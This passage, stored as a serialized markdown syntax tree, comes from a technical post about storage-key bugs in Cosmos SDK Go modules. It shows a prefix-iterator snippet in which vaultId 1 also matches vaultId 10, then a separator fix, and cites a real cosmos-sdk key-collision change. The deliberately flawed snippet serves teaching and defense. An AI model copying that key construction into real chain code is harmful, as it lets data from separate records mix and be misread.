i",{"type":20,"tag":315,"props":86699,"children":86700},{"style":334},[86701],{"type":26,"value":74674},{"type":20,"tag":315,"props":86703,"children":86704},{"style":635},[86705],{"type":26,"value":76899},{"type":20,"tag":315,"props":86707,"children":86708},{"style":328},[86709],{"type":26,"value":61},{"type":20,"tag":315,"props":86711,"children":86712},{"style":345},[86713],{"type":26,"value":86714},"KVStorePrefixIterator",{"type":20,"tag":315,"props":86716,"children":86717},{"style":328},[86718],{"type":26,"value":353},{"type":20,"tag":315,"props":86720,"children":86721},{"class":317,"line":407},[86722,86727],{"type":20,"tag":315,"props":86723,"children":86724},{"style":635},[86725],{"type":26,"value":86726}," kvStore",{"type":20,"tag":315,"props":86728,"children":86729},{"style":328},[86730],{"type":26,"value":643},{"type":20,"tag":315,"props":86732,"children":86733},{"class":317,"line":421},[86734,86739,86743,86747,86751,86756,86760,86765,86769,86773],{"type":20,"tag":315,"props":86735,"children":86736},{"style":635},[86737],{"type":26,"value":86738}," fmt",{"type":20,"tag":315,"props":86740,"children":86741},{"style":328},[86742],{"type":26,"value":61},{"type":20,"tag":315,"props":86744,"children":86745},{"style":345},[86746],{"type":26,"value":83481},{"type":20,"tag":315,"props":86748,"children":86749},{"style":328},[86750],{"type":26,"value":1049},{"type":20,"tag":315,"props":86752,"children":86753},{"style":2652},[86754],{"type":26,"value":86755},"\"%s%d\"",{"type":20,"tag":315,"props":86757,"children":86758},{"style":328},[86759],{"type":26,"value":44},{"type":20,"tag":315,"props":86761,"children":86762},{"style":635},[86763],{"type":26,"value":86764},"PositionMapPrefix",{"type":20,"tag":315,"props":86766,"children":86767},{"style":328},[86768],{"type":26,"value":44},{"type":20,"tag":315,"props":86770,"children":86771},{"style":635},[86772],{"type":26,"value":86549},{"type":20,"tag":315,"props":86774,"children":86775},{"style":328},[86776],{"type":26,"value":380},{"type":20,"tag":315,"props":86778,"children":86779},{"class":317,"line":430},[86780],{"type":20,"tag":315,"props":86781,"children":86782},{"style":328},[86783],{"type":26,"value":22335},{"type":20,"tag":315,"props":86785,"children":86786},{"class":317,"line":453},[86787,86791,86796,86800,86804,86809,86813,86817,86821,86826],{"type":20,"tag":315,"props":86788,"children":86789},{"style":525},[86790],{"type":26,"value":1413},{"type":20,"tag":315,"props":86792,"children":86793},{"style":328},[86794],{"type":26,"value":86795}," ; ",{"type":20,"tag":315,"props":86797,"children":86798},{"style":635},[86799],{"type":26,"value":2122},{"type":20,"tag":315,"props":86801,"children":86802},{"style":328},[86803],{"type":26,"value":61},{"type":20,"tag":315,"props":86805,"children":86806},{"style":345},[86807],{"type":26,"value":86808},"Valid",{"type":20,"tag":315,"props":86810,"children":86811},{"style":328},[86812],{"type":26,"value":26865},{"type":20,"tag":315,"props":86814,"children":86815},{"style":635},[86816],{"type":26,"value":2122},{"type":20,"tag":315,"props":86818,"children":86819},{"style":328},[86820],{"type":26,"value":61},{"type":20,"tag":315,"props":86822,"children":86823},{"style":345},[86824],{"type":26,"value":86825},"Next",{"type":20,"tag":315,"props":86827,"children":86828},{"style":328},[86829],{"type":26,"value":14137},{"type":20,"tag":315,"props":86831,"children":86832},{"class":317,"line":486},[86833,86838,86842,86847,86851,86855,86859,86863,86867,86872,86876,86881],{"type":20,"tag":315,"props":86834,"children":86835},{"style":635},[86836],{"type":26,"value":86837}," k",{"type":20,"tag":315,"props":86839,"children":86840},{"style":334},[86841],{"type":26,"value":74674},{"type":20,"tag":315,"props":86843,"children":86844},{"style":635},[86845],{"type":26,"value":86846}," strings",{"type":20,"tag":315,"props":86848,"children":86849},{"style":328},[86850],{"type":26,"value":61},{"type":20,"tag":315,"props":86852,"children":86853},{"style":345},[86854],{"type":26,"value":68298},{"type":20,"tag":315,"props":86856,"children":86857},{"style":328},[86858],{"type":26,"value":1049},{"type":20,"tag":315,"props":86860,"children":86861},{"style":635},[86862],{"type":26,"value":2122},{"type":20,"tag":315,"props":86864,"children":86865},{"style":328},[86866],{"type":26,"value":61},{"type":20,"tag":315,"props":86868,"children":86869},{"style":345},[86870],{"type":26,"value":86871},"Key",{"type":20,"tag":315,"props":86873,"children":86874},{"style":328},[86875],{"type":26,"value":16778},{"type":20,"tag":315,"props":86877,"children":86878},{"style":635},[86879],{"type":26,"value":86880},"Seperator",{"type":20,"tag":315,"props":86882,"children":86883},{"style":328},[86884],{"type":26,"value":380},{"type":20,"tag":315,"props":86886,"children":86887},{"class":317,"line":499},[86888],{"type":20,"tag":315,"props":86889,"children":86890},{"emptyLinePlaceholder":15},[86891],{"type":26,"value":427},{"type":20,"tag":315,"props":86893,"children":86894},{"class":317,"line":513},[86895,86900,86904,86908,86913,86917,86921,86925,86929,86934,86938,86943,86947,86951],{"type":20,"tag":315,"props":86896,"children":86897},{"style":635},[86898],{"type":26,"value":86899}," username",{"type":20,"tag":315,"props":86901,"children":86902},{"style":334},[86903],{"type":26,"value":74674},{"type":20,"tag":315,"props":86905,"children":86906},{"style":345},[86907],{"type":26,"value":83822},{"type":20,"tag":315,"props":86909,"children":86910},{"style":328},[86911],{"type":26,"value":86912},"([]",{"type":20,"tag":315,"props":86914,"children":86915},{"style":322},[86916],{"type":26,"value":83023},{"type":20,"tag":315,"props":86918,"children":86919},{"style":328},[86920],{"type":26,"value":44},{"type":20,"tag":315,"props":86922,"children":86923},{"style":635},[86924],{"type":26,"value":83895},{"type":20,"tag":315,"props":86926,"children":86927},{"style":328},[86928],{"type":26,"value":61},{"type":20,"tag":315,"props":86930,"children":86931},{"style":345},[86932],{"type":26,"value":86933},"DecodedLen",{"type":20,"tag":315,"props":86935,"children":86936},{"style":328},[86937],{"type":26,"value":1049},{"type":20,"tag":315,"props":86939,"children":86940},{"style":635},[86941],{"type":26,"value":86942},"k",{"type":20,"tag":315,"props":86944,"children":86945},{"style":328},[86946],{"type":26,"value":2117},{"type":20,"tag":315,"props":86948,"children":86949},{"style":765},[86950],{"type":26,"value":1063},{"type":20,"tag":315,"props":86952,"children":86953},{"style":328},[86954],{"type":26,"value":86955},"]))\n",{"type":20,"tag":315,"props":86957,"children":86958},{"class":317,"line":521},[86959,86963,86967,86971,86975,86980,86984,86989,86993,86997,87001,87005,87009,87013],{"type":20,"tag":315,"props":86960,"children":86961},{"style":635},[86962],{"type":26,"value":26164},{"type":20,"tag":315,"props":86964,"children":86965},{"style":328},[86966],{"type":26,"value":44},{"type":20,"tag":315,"props":86968,"children":86969},{"style":635},[86970],{"type":26,"value":46671},{"type":20,"tag":315,"props":86972,"children":86973},{"style":334},[86974],{"type":26,"value":74674},{"type":20,"tag":315,"props":86976,"children":86977},{"style":635},[86978],{"type":26,"value":86979}," hex",{"type":20,"tag":315,"props":86981,"children":86982},{"style":328},[86983],{"type":26,"value":61},{"type":20,"tag":315,"props":86985,"children":86986},{"style":345},[86987],{"type":26,"value":86988},"Decode",{"type":20,"tag":315,"props":86990,"children":86991},{"style":328},[86992],{"type":26,"value":1049},{"type":20,"tag":315,"props":86994,"children":86995},{"style":635},[86996],{"type":26,"value":83729},{"type":20,"tag":315,"props":86998,"children":86999},{"style":328},[87000],{"type":26,"value":44},{"type":20,"tag":315,"props":87002,"children":87003},{"style":635},[87004],{"type":26,"value":86942},{"type":20,"tag":315,"props":87006,"children":87007},{"style":328},[87008],{"type":26,"value":2117},{"type":20,"tag":315,"props":87010,"children":87011},{"style":765},[87012],{"type":26,"value":1063},{"type":20,"tag":315,"props":87014,"children":87015},{"style":328},[87016],{"type":26,"value":53693},{"type":20,"tag":315,"props":87018,"children":87019},{"class":317,"line":552},[87020,87024,87028,87032,87036],{"type":20,"tag":315,"props":87021,"children":87022},{"style":525},[87023],{"type":26,"value":1654},{"type":20,"tag":315,"props":87025,"children":87026},{"style":635},[87027],{"type":26,"value":46772},{"type":20,"tag":315,"props":87029,"children":87030},{"style":334},[87031],{"type":26,"value":62641},{"type":20,"tag":315,"props":87033,"children":87034},{"style":541},[87035],{"type":26,"value":80176},{"type":20,"tag":315,"props":87037,"children":87038},{"style":328},[87039],{"type":26,"value":1092},{"type":20,"tag":315,"props":87041,"children":87042},{"class":317,"line":571},[87043,87047,87051,87055],{"type":20,"tag":315,"props":87044,"children":87045},{"style":525},[87046],{"type":26,"value":77334},{"type":20,"tag":315,"props":87048,"children":87049},{"style":541},[87050],{"type":26,"value":80176},{"type":20,"tag":315,"props":87052,"children":87053},{"style":328},[87054],{"type":26,"value":44},{"type":20,"tag":315,"props":87056,"children":87057},{"style":635},[87058],{"type":26,"value":81897},{"type":20,"tag":315,"props":87060,"children":87061},{"class":317,"line":2031},[87062],{"type":20,"tag":315,"props":87063,"children":87064},{"style":328},[87065],{"type":26,"value":1728},{"type":20,"tag":315,"props":87067,"children":87068},{"class":317,"line":2053},[87069],{"type":20,"tag":315,"props":87070,"children":87071},{"emptyLinePlaceholder":15},[87072],{"type":26,"value":427},{"type":20,"tag":315,"props":87074,"children":87075},{"class":317,"line":2061},[87076,87081,87085,87089,87093,87097,87101,87105,87109,87113,87117,87121,87125,87129],{"type":20,"tag":315,"props":87077,"children":87078},{"style":635},[87079],{"type":26,"value":87080}," positionName",{"type":20,"tag":315,"props":87082,"children":87083},{"style":334},[87084],{"type":26,"value":74674},{"type":20,"tag":315,"props":87086,"children":87087},{"style":345},[87088],{"type":26,"value":83822},{"type":20,"tag":315,"props":87090,"children":87091},{"style":328},[87092],{"type":26,"value":86912},{"type":20,"tag":315,"props":87094,"children":87095},{"style":322},[87096],{"type":26,"value":83023},{"type":20,"tag":315,"props":87098,"children":87099},{"style":328},[87100],{"type":26,"value":44},{"type":20,"tag":315,"props":87102,"children":87103},{"style":635},[87104],{"type":26,"value":83895},{"type":20,"tag":315,"props":87106,"children":87107},{"style":328},[87108],{"type":26,"value":61},{"type":20,"tag":315,"props":87110,"children":87111},{"style":345},[87112],{"type":26,"value":86933},{"type":20,"tag":315,"props":87114,"children":87115},{"style":328},[87116],{"type":26,"value":1049},{"type":20,"tag":315,"props":87118,"children":87119},{"style":635},[87120],{"type":26,"value":86942},{"type":20,"tag":315,"props":87122,"children":87123},{"style":328},[87124],{"type":26,"value":2117},{"type":20,"tag":315,"props":87126,"children":87127},{"style":765},[87128],{"type":26,"value":2406},{"type":20,"tag":315,"props":87130,"children":87131},{"style":328},[87132],{"type":26,"value":86955},{"type":20,"tag":315,"props":87134,"children":87135},{"class":317,"line":2070},[87136,87140,87144,87148,87152,87156,87160,87164,87168,87172,87176,87180,87184,87188],{"type":20,"tag":315,"props":87137,"children":87138},{"style":635},[87139],{"type":26,"value":26164},{"type":20,"tag":315,"props":87141,"children":87142},{"style":328},[87143],{"type":26,"value":44},{"type":20,"tag":315,"props":87145,"children":87146},{"style":635},[87147],{"type":26,"value":46671},{"type":20,"tag":315,"props":87149,"children":87150},{"style":334},[87151],{"type":26,"value":74674},{"type":20,"tag":315,"props":87153,"children":87154},{"style":635},[87155],{"type":26,"value":86979},{"type":20,"tag":315,"props":87157,"children":87158},{"style":328},[87159],{"type":26,"value":61},{"type":20,"tag":315,"props":87161,"children":87162},{"style":345},[87163],{"type":26,"value":86988},{"type":20,"tag":315,"props":87165,"children":87166},{"style":328},[87167],{"type":26,"value":1049},{"type":20,"tag":315,"props":87169,"children":87170},{"style":635},[87171],{"type":26,"value":83998},{"type":20,"tag":315,"props":87173,"children":87174},{"style":328},[87175],{"type":26,"value":44},{"type":20,"tag":315,"props":87177,"children":87178},{"style":635},[87179],{"type":26,"value":86942},{"type":20,"tag":315,"props":87181,"children":87182},{"style":328},[87183],{"type":26,"value":2117},{"type":20,"tag":315,"props":87185,"children":87186},{"style":765},[87187],{"type":26,"value":2406},{"type":20,"tag":315,"props":87189,"children":87190},{"style":328},[87191],{"type":26,"value":53693},{"type":20,"tag":315,"props":87193,"children":87194},{"class":317,"line":2139},[87195,87199,87203,87207,87211],{"type":20,"tag":315,"props":87196,"children":87197},{"style":525},[87198],{"type":26,"value":1654},{"type":20,"tag":315,"props":87200,"children":87201},{"style":635},[87202],{"type":26,"value":46772},{"type":20,"tag":315,"props":87204,"children":87205},{"style":334},[87206],{"type":26,"value":62641},{"type":20,"tag":315,"props":87208,"children":87209},{"style":541},[87210],{"type":26,"value":80176},{"type":20,"tag":315,"props":87212,"children":87213},{"style":328},[87214],{"type":26,"value":1092},{"type":20,"tag":315,"props":87216,"children":87217},{"class":317,"line":2147},[87218,87222,87226,87230],{"type":20,"tag":315,"props":87219,"children":87220},{"style":525},[87221],{"type":26,"value":77334},{"type":20,"tag":315,"props":87223,"children":87224},{"style":541},[87225],{"type":26,"value":80176},{"type":20,"tag":315,"props":87227,"children":87228},{"style":328},[87229],{"type":26,"value":44},{"type":20,"tag":315,"props":87231,"children":87232},{"style":635},[87233],{"type":26,"value":81897},{"type":20,"tag":315,"props":87235,"children":87236},{"class":317,"line":2177},[87237],{"type":20,"tag":315,"props":87238,"children":87239},{"style":328},[87240],{"type":26,"value":1728},{"type":20,"tag":315,"props":87242,"children":87243},{"class":317,"line":2185},[87244],{"type":20,"tag":315,"props":87245,"children":87246},{"emptyLinePlaceholder":15},[87247],{"type":26,"value":427},{"type":20,"tag":315,"props":87249,"children":87250},{"class":317,"line":2217},[87251,87255,87259,87263,87267,87271,87276,87280,87284,87289,87293,87297],{"type":20,"tag":315,"props":87252,"children":87253},{"style":525},[87254],{"type":26,"value":1654},{"type":20,"tag":315,"props":87256,"children":87257},{"style":635},[87258],{"type":26,"value":60896},{"type":20,"tag":315,"props":87260,"children":87261},{"style":328},[87262],{"type":26,"value":44},{"type":20,"tag":315,"props":87264,"children":87265},{"style":635},[87266],{"type":26,"value":77025},{"type":20,"tag":315,"props":87268,"children":87269},{"style":334},[87270],{"type":26,"value":74674},{"type":20,"tag":315,"props":87272,"children":87273},{"style":635},[87274],{"type":26,"value":87275}," values",{"type":20,"tag":315,"props":87277,"children":87278},{"style":328},[87279],{"type":26,"value":2117},{"type":20,"tag":315,"props":87281,"children":87282},{"style":635},[87283],{"type":26,"value":83729},{"type":20,"tag":315,"props":87285,"children":87286},{"style":328},[87287],{"type":26,"value":87288},"]; ",{"type":20,"tag":315,"props":87290,"children":87291},{"style":334},[87292],{"type":26,"value":19025},{"type":20,"tag":315,"props":87294,"children":87295},{"style":635},[87296],{"type":26,"value":77025},{"type":20,"tag":315,"props":87298,"children":87299},{"style":328},[87300],{"type":26,"value":1092},{"type":20,"tag":315,"props":87302,"children":87303},{"class":317,"line":2225},[87304,87309,87313,87317,87321,87325,87329,87333,87337,87341,87345],{"type":20,"tag":315,"props":87305,"children":87306},{"style":635},[87307],{"type":26,"value":87308}," values",{"type":20,"tag":315,"props":87310,"children":87311},{"style":328},[87312],{"type":26,"value":2117},{"type":20,"tag":315,"props":87314,"children":87315},{"style":635},[87316],{"type":26,"value":83729},{"type":20,"tag":315,"props":87318,"children":87319},{"style":328},[87320],{"type":26,"value":7057},{"type":20,"tag":315,"props":87322,"children":87323},{"style":334},[87324],{"type":26,"value":337},{"type":20,"tag":315,"props":87326,"children":87327},{"style":345},[87328],{"type":26,"value":83822},{"type":20,"tag":315,"props":87330,"children":87331},{"style":328},[87332],{"type":26,"value":1049},{"type":20,"tag":315,"props":87334,"children":87335},{"style":541},[87336],{"type":26,"value":65357},{"type":20,"tag":315,"props":87338,"children":87339},{"style":328},[87340],{"type":26,"value":2117},{"type":20,"tag":315,"props":87342,"children":87343},{"style":322},[87344],{"type":26,"value":83427},{"type":20,"tag":315,"props":87346,"children":87347},{"style":328},[87348],{"type":26,"value":53693},{"type":20,"tag":315,"props":87350,"children":87351},{"class":317,"line":2285},[87352],{"type":20,"tag":315,"props":87353,"children":87354},{"style":328},[87355],{"type":26,"value":1728},{"type":20,"tag":315,"props":87357,"children":87358},{"class":317,"line":7444},[87359],{"type":20,"tag":315,"props":87360,"children":87361},{"emptyLinePlaceholder":15},[87362],{"type":26,"value":427},{"type":20,"tag":315,"props":87364,"children":87365},{"class":317,"line":7462},[87366,87371,87375,87379,87383,87387,87391,87395,87399],{"type":20,"tag":315,"props":87367,"children":87368},{"style":635},[87369],{"type":26,"value":87370}," values",{"type":20,"tag":315,"props":87372,"children":87373},{"style":328},[87374],{"type":26,"value":2117},{"type":20,"tag":315,"props":87376,"children":87377},{"style":635},[87378],{"type":26,"value":83729},{"type":20,"tag":315,"props":87380,"children":87381},{"style":328},[87382],{"type":26,"value":47209},{"type":20,"tag":315,"props":87384,"children":87385},{"style":635},[87386],{"type":26,"value":83998},{"type":20,"tag":315,"props":87388,"children":87389},{"style":328},[87390],{"type":26,"value":7057},{"type":20,"tag":315,"props":87392,"children":87393},{"style":334},[87394],{"type":26,"value":337},{"type":20,"tag":315,"props":87396,"children":87397},{"style":635},[87398],{"type":26,"value":5820},{"type":20,"tag":315,"props":87400,"children":87401},{"style":328},[87402],{"type":26,"value":1092},{"type":20,"tag":315,"props":87404,"children":87405},{"class":317,"line":7507},[87406,87410,87414,87419,87423,87428],{"type":20,"tag":315,"props":87407,"children":87408},{"style":635},[87409],{"type":26,"value":25367},{"type":20,"tag":315,"props":87411,"children":87412},{"style":328},[87413],{"type":26,"value":13732},{"type":20,"tag":315,"props":87415,"children":87416},{"style":635},[87417],{"type":26,"value":87418},"iterator",{"type":20,"tag":315,"props":87420,"children":87421},{"style":328},[87422],{"type":26,"value":61},{"type":20,"tag":315,"props":87424,"children":87425},{"style":345},[87426],{"type":26,"value":87427},"Value",{"type":20,"tag":315,"props":87429,"children":87430},{"style":328},[87431],{"type":26,"value":1871},{"type":20,"tag":315,"props":87433,"children":87434},{"class":317,"line":7613},[87435],{"type":20,"tag":315,"props":87436,"children":87437},{"style":328},[87438],{"type":26,"value":1728},{"type":20,"tag":315,"props":87440,"children":87441},{"class":317,"line":21914},[87442],{"type":20,"tag":315,"props":87443,"children":87444},{"style":328},[87445],{"type":26,"value":1736},{"type":20,"tag":315,"props":87447,"children":87448},{"class":317,"line":21949},[87449,87453],{"type":20,"tag":315,"props":87450,"children":87451},{"style":525},[87452],{"type":26,"value":731},{"type":20,"tag":315,"props":87454,"children":87455},{"style":635},[87456],{"type":26,"value":87457}," values\n",{"type":20,"tag":315,"props":87459,"children":87460},{"class":317,"line":21957},[87461],{"type":20,"tag":315,"props":87462,"children":87463},{"style":328},[87464],{"type":26,"value":577},{"type":20,"tag":29,"props":87466,"children":87467},{},[87468,87470,87476,87477,87483,87485,87490,87492,87497,87499,87504,87506,87512,87514,87520],{"type":26,"value":87469},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":20,"tag":119,"props":87471,"children":87473},{"className":87472},[],[87474],{"type":26,"value":87475},"vaultId = 1",{"type":26,"value":9392},{"type":20,"tag":119,"props":87478,"children":87480},{"className":87479},[],[87481],{"type":26,"value":87482},"vaultId = 10",{"type":26,"value":87484}," coexist. If we try to fetch data under ",{"type":20,"tag":119,"props":87486,"children":87488},{"className":87487},[],[87489],{"type":26,"value":87475},{"type":26,"value":87491},", all entries under ",{"type":20,"tag":119,"props":87493,"children":87495},{"className":87494},[],[87496],{"type":26,"value":87482},{"type":26,"value":87498}," will also be returned simply because ",{"type":20,"tag":119,"props":87500,"children":87502},{"className":87501},[],[87503],{"type":26,"value":2406},{"type":26,"value":87505}," is a prefix of ",{"type":20,"tag":119,"props":87507,"children":87509},{"className":87508},[],[87510],{"type":26,"value":87511},"10",{"type":26,"value":87513},". To fix this, we must once again append the ",{"type":20,"tag":119,"props":87515,"children":87517},{"className":87516},[],[87518],{"type":26,"value":87519},"Separator",{"type":26,"value":87521}," to the iterator prefix.",{"type":20,"tag":305,"props":87523,"children":87525},{"code":87524,"language":74422,"meta":7,"className":74423,"style":7},"i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[87526],{"type":20,"tag":119,"props":87527,"children":87528},{"__ignoreMap":7},[87529,87556,87568,87621],{"type":20,"tag":315,"props":87530,"children":87531},{"class":317,"line":318},[87532,87536,87540,87544,87548,87552],{"type":20,"tag":315,"props":87533,"children":87534},{"style":635},[87535],{"type":26,"value":2122},{"type":20,"tag":315,"props":87537,"children":87538},{"style":334},[87539],{"type":26,"value":74674},{"type":20,"tag":315,"props":87541,"children":87542},{"style":635},[87543],{"type":26,"value":76899},{"type":20,"tag":315,"props":87545,"children":87546},{"style":328},[87547],{"type":26,"value":61},{"type":20,"tag":315,"props":87549,"children":87550},{"style":345},[87551],{"type":26,"value":86714},{"type":20,"tag":315,"props":87553,"children":87554},{"style":328},[87555],{"type":26,"value":353},{"type":20,"tag":315,"props":87557,"children":87558},{"class":317,"line":356},[87559,87564],{"type":20,"tag":315,"props":87560,"children":87561},{"style":635},[87562],{"type":26,"value":87563}," kvStore",{"type":20,"tag":315,"props":87565,"children":87566},{"style":328},[87567],{"type":26,"value":643},{"type":20,"tag":315,"props":87569,"children":87570},{"class":317,"line":365},[87571,87576,87580,87584,87588,87593,87597,87601,87605,87609,87613,87617],{"type":20,"tag":315,"props":87572,"children":87573},{"style":635},[87574],{"type":26,"value":87575}," fmt",{"type":20,"tag":315,"props":87577,"children":87578},{"style":328},[87579],{"type":26,"value":61},{"type":20,"tag":315,"props":87581,"children":87582},{"style":345},[87583],{"type":26,"value":83481},{"type":20,"tag":315,"props":87585,"children":87586},{"style":328},[87587],{"type":26,"value":1049},{"type":20,"tag":315,"props":87589,"children":87590},{"style":2652},[87591],{"type":26,"value":87592},"\"%s%d%s\"",{"type":20,"tag":315,"props":87594,"children":87595},{"style":328},[87596],{"type":26,"value":44},{"type":20,"tag":315,"props":87598,"children":87599},{"style":635},[87600],{"type":26,"value":86764},{"type":20,"tag":315,"props":87602,"children":87603},{"style":328},[87604],{"type":26,"value":44},{"type":20,"tag":315,"props":87606,"children":87607},{"style":635},[87608],{"type":26,"value":86549},{"type":20,"tag":315,"props":87610,"children":87611},{"style":328},[87612],{"type":26,"value":44},{"type":20,"tag":315,"props":87614,"children":87615},{"style":635},[87616],{"type":26,"value":86880},{"type":20,"tag":315,"props":87618,"children":87619},{"style":328},[87620],{"type":26,"value":5131},{"type":20,"tag":315,"props":87622,"children":87623},{"class":317,"line":374},[87624],{"type":20,"tag":315,"props":87625,"children":87626},{"style":328},[87627],{"type":26,"value":380},{"type":20,"tag":29,"props":87629,"children":87630},{},[87631,87633,87638],{"type":26,"value":87632},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":20,"tag":119,"props":87634,"children":87636},{"className":87635},[],[87637],{"type":26,"value":83235},{"type":26,"value":87639}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":20,"tag":29,"props":87641,"children":87642},{},[87643],{"type":26,"value":87644},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":20,"tag":219,"props":87646,"children":87648},{"id":87647},"real-world-examples-5",[87649],{"type":26,"value":74947},{"type":20,"tag":29,"props":87651,"children":87652},{},[87653,87654,87659,87661,87668,87670,87676],{"type":26,"value":15015},{"type":20,"tag":119,"props":87655,"children":87657},{"className":87656},[],[87658],{"type":26,"value":76720},{"type":26,"value":87660}," previously lacked protection against KVStore ",{"type":20,"tag":35,"props":87662,"children":87665},{"href":87663,"rel":87664},"https://github.com/cosmos/cosmos-sdk/pull/9363",[39],[87666],{"type":26,"value":87667},"key collisions",{"type":26,"value":87669},". This prior oversight allowed developers to unintentionally create two ",{"type":20,"tag":119,"props":87671,"children":87673},{"className":87672},[],[87674],{"type":26,"value":87675},"KVStores",{"type":26,"value":87677}," that were not independent of each other.",{"type":20,"tag":29,"props":87679,"children":87680},{},[87681],{"type":20,"tag":35,"props":87682,"children":87685},{"href":87683,"rel":87684},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[39],[87686],{"type":26,"value":74997},{"type":20,"tag":305,"props":87688,"children":87690},{"code":87689,"language":74422,"meta":7,"className":74423,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n keys := make(map[string]*KVStoreKey)\n for _, name := range names {\n keys[name] = NewKVStoreKey(name)\n }\n\n return keys\n}\n",[87691],{"type":20,"tag":119,"props":87692,"children":87693},{"__ignoreMap":7},[87694,87756,87804,87840,87880,87887,87894,87906],{"type":20,"tag":315,"props":87695,"children":87696},{"class":317,"line":318},[87697,87701,87706,87710,87715,87719,87723,87727,87731,87735,87739,87743,87747,87752],{"type":20,"tag":315,"props":87698,"children":87699},{"style":541},[87700],{"type":26,"value":74558},{"type":20,"tag":315,"props":87702,"children":87703},{"style":345},[87704],{"type":26,"value":87705}," NewKVStoreKeys",{"type":20,"tag":315,"props":87707,"children":87708},{"style":328},[87709],{"type":26,"value":1049},{"type":20,"tag":315,"props":87711,"children":87712},{"style":635},[87713],{"type":26,"value":87714},"names",{"type":20,"tag":315,"props":87716,"children":87717},{"style":334},[87718],{"type":26,"value":23715},{"type":20,"tag":315,"props":87720,"children":87721},{"style":322},[87722],{"type":26,"value":28082},{"type":20,"tag":315,"props":87724,"children":87725},{"style":328},[87726],{"type":26,"value":1468},{"type":20,"tag":315,"props":87728,"children":87729},{"style":541},[87730],{"type":26,"value":65357},{"type":20,"tag":315,"props":87732,"children":87733},{"style":328},[87734],{"type":26,"value":2117},{"type":20,"tag":315,"props":87736,"children":87737},{"style":322},[87738],{"type":26,"value":28082},{"type":20,"tag":315,"props":87740,"children":87741},{"style":328},[87742],{"type":26,"value":13812},{"type":20,"tag":315,"props":87744,"children":87745},{"style":334},[87746],{"type":26,"value":901},{"type":20,"tag":315,"props":87748,"children":87749},{"style":322},[87750],{"type":26,"value":87751},"KVStoreKey",{"type":20,"tag":315,"props":87753,"children":87754},{"style":328},[87755],{"type":26,"value":1092},{"type":20,"tag":315,"props":87757,"children":87758},{"class":317,"line":356},[87759,87764,87768,87772,87776,87780,87784,87788,87792,87796,87800],{"type":20,"tag":315,"props":87760,"children":87761},{"style":635},[87762],{"type":26,"value":87763}," keys",{"type":20,"tag":315,"props":87765,"children":87766},{"style":334},[87767],{"type":26,"value":74674},{"type":20,"tag":315,"props":87769,"children":87770},{"style":345},[87771],{"type":26,"value":83822},{"type":20,"tag":315,"props":87773,"children":87774},{"style":328},[87775],{"type":26,"value":1049},{"type":20,"tag":315,"props":87777,"children":87778},{"style":541},[87779],{"type":26,"value":65357},{"type":20,"tag":315,"props":87781,"children":87782},{"style":328},[87783],{"type":26,"value":2117},{"type":20,"tag":315,"props":87785,"children":87786},{"style":322},[87787],{"type":26,"value":28082},{"type":20,"tag":315,"props":87789,"children":87790},{"style":328},[87791],{"type":26,"value":13812},{"type":20,"tag":315,"props":87793,"children":87794},{"style":334},[87795],{"type":26,"value":901},{"type":20,"tag":315,"props":87797,"children":87798},{"style":322},[87799],{"type":26,"value":87751},{"type":20,"tag":315,"props":87801,"children":87802},{"style":328},[87803],{"type":26,"value":380},{"type":20,"tag":315,"props":87805,"children":87806},{"class":317,"line":365},[87807,87811,87815,87819,87823,87827,87831,87836],{"type":20,"tag":315,"props":87808,"children":87809},{"style":525},[87810],{"type":26,"value":1413},{"type":20,"tag":315,"props":87812,"children":87813},{"style":635},[87814],{"type":26,"value":1418},{"type":20,"tag":315,"props":87816,"children":87817},{"style":328},[87818],{"type":26,"value":44},{"type":20,"tag":315,"props":87820,"children":87821},{"style":635},[87822],{"type":26,"value":46749},{"type":20,"tag":315,"props":87824,"children":87825},{"style":334},[87826],{"type":26,"value":74674},{"type":20,"tag":315,"props":87828,"children":87829},{"style":525},[87830],{"type":26,"value":75657},{"type":20,"tag":315,"props":87832,"children":87833},{"style":635},[87834],{"type":26,"value":87835}," names",{"type":20,"tag":315,"props":87837,"children":87838},{"style":328},[87839],{"type":26,"value":1092},{"type":20,"tag":315,"props":87841,"children":87842},{"class":317,"line":374},[87843,87847,87851,87855,87859,87863,87868,87872,87876],{"type":20,"tag":315,"props":87844,"children":87845},{"style":635},[87846],{"type":26,"value":23747},{"type":20,"tag":315,"props":87848,"children":87849},{"style":328},[87850],{"type":26,"value":2117},{"type":20,"tag":315,"props":87852,"children":87853},{"style":635},[87854],{"type":26,"value":46749},{"type":20,"tag":315,"props":87856,"children":87857},{"style":328},[87858],{"type":26,"value":7057},{"type":20,"tag":315,"props":87860,"children":87861},{"style":334},[87862],{"type":26,"value":337},{"type":20,"tag":315,"props":87864,"children":87865},{"style":345},[87866],{"type":26,"value":87867}," NewKVStoreKey",{"type":20,"tag":315,"props":87869,"children":87870},{"style":328},[87871],{"type":26,"value":1049},{"type":20,"tag":315,"props":87873,"children":87874},{"style":635},[87875],{"type":26,"value":46749},{"type":20,"tag":315,"props":87877,"children":87878},{"style":328},[87879],{"type":26,"value":380},{"type":20,"tag":315,"props":87881,"children":87882},{"class":317,"line":383},[87883],{"type":20,"tag":315,"props":87884,"children":87885},{"style":328},[87886],{"type":26,"value":1736},{"type":20,"tag":315,"props":87888,"children":87889},{"class":317,"line":407},[87890],{"type":20,"tag":315,"props":87891,"children":87892},{"emptyLinePlaceholder":15},[87893],{"type":26,"value":427},{"type":20,"tag":315,"props":87895,"children":87896},{"class":317,"line":421},[87897,87901],{"type":20,"tag":315,"props":87898,"children":87899},{"style":525},[87900],{"type":26,"value":731},{"type":20,"tag":315,"props":87902,"children":87903},{"style":635},[87904],{"type":26,"value":87905}," keys\n",{"type":20,"tag":315,"props":87907,"children":87908},{"class":317,"line":430},[87909],{"type":20,"tag":315,"props":87910,"children":87911},{"style":328},[87912],{"type":26,"value":577},{"type":20,"tag":29,"props":87914,"children":87915},{},[87916,87918,87923,87925,87930,87932,87937],{"type":26,"value":87917},"Thanks to the diligence of core developers, checks are now enforced and the 